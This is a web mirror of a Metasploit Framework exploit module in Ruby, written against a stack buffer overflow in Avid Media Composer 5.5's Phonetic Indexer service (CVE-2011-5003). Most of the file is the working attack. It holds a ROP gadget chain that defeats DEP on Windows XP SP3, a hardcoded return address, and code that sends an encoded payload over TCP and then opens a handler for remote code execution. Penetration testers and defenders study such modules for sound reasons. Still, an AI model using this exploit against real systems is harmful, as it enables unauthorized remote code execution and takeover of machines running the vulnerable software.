Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/avidphoneticindexer.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => "Avid Media Composer 5.5 - Avid Phonetic Indexer Buffer Overflow",
16
'Description' => %q{
17
This module exploits a stack buffer overflow in process
18
AvidPhoneticIndexer.exe (port 4659), which comes as part of the Avid Media Composer
19
5.5 Editing Suite. This daemon sometimes starts on a different port; if you start
20
it standalone it will run on port 4660.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'vt [[email protected]]',
25
],
26
'References' => [
27
['CVE', '2011-5003'],
28
['OSVDB', '77376'],
29
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Phonetic_Indexer-Remote_Stack_Buffer_Overflow.pdf' ],
30
],
31
'Payload' => {
32
'Space' => 1012,
33
'BadChars' => "\x00\x09\x0a\x0d\x20",
34
'DisableNops' => true,
35
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
36
'EncoderOptions' =>
37
{
38
'BufferRegister' => 'EAX',
39
}
40
},
41
'Platform' => 'win',
42
'Targets' => [
43
[
44
'Windows XP Professional SP3',
45
{
46
'Ret' => 0x028B35EB # ADD ESP, 1800; RET (il.dll)
47
}
48
],
49
],
50
'Privileged' => false,
51
'DisclosureDate' => '2011-11-29',
52
'DefaultTarget' => 0,
53
'Notes' => {
54
'Reliability' => UNKNOWN_RELIABILITY,
55
'Stability' => UNKNOWN_STABILITY,
56
'SideEffects' => UNKNOWN_SIDE_EFFECTS
57
}
58
)
59
)
60
61
register_options(
62
[
63
Opt::RPORT(4659),
64
]
65
)
66
end
67
68
def exploit
69
rop_gadgets = [
70
# ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!)
71
# a non-sayonara ROP would be super easy too, I'm just lazy :)
72
0x7C344CC1, # pop eax;ret;
73
0x7C3410C2, # pop ecx;pop ecx;ret;
74
0x7C342462, # xor chain; call eax {0x7C3410C2}
75
0x7C38C510, # writeable location for lpflOldProtect
76
0x7C365645, # pop esi;ret;
77
0x7C345243, # ret;
78
0x7C348F46, # pop ebp;ret;
79
0x7C3487EC, # call eax
80
0x7C344CC1, # pop eax;ret;
81
0xfffffbfc, # {size}
82
0x7C34D749, # neg eax;ret; {adjust size}
83
0x7C3458AA, # add ebx, eax;ret; {size into ebx}
84
0x7C3439FA, # pop edx;ret;
85
0xFFFFFFC0, # {flag}
86
0x7C351EB1, # neg edx;ret; {adjust flag}
87
0x7C354648, # pop edi;ret;
88
0x7C3530EA, # mov eax,[eax];ret;
89
0x7C344CC1, # pop eax;ret;
90
0x7C37A181, # (VP RVA + 30) - {0xEF adjustment}
91
0x7C355AEB, # sub eax,30;ret;
92
0x7C378C81, # pushad; add al,0xef; ret;
93
0x7C36683F, # push esp;ret;
94
].pack("V*")
95
96
# need to control a buffer reg for the msf gen'd payload to fly. in this case:
97
bufregfix = "\x8b\xc4" # MOV EAX,ESP
98
bufregfix += "\x83\xc0\x10" # ADD EAX,10
99
100
connect
101
sploit = ''
102
sploit << rand_text_alpha_upper(216)
103
sploit << [target.ret].pack('V*')
104
sploit << "A" * 732 # This avoids a busted LoadLibrary
105
sploit << rop_gadgets
106
sploit << bufregfix
107
sploit << "\xeb\x09"
108
sploit << rand_text_alpha_upper(9)
109
sploit << payload.encoded
110
sock.put(sploit)
111
handler
112
disconnect
113
end
114
end
115
116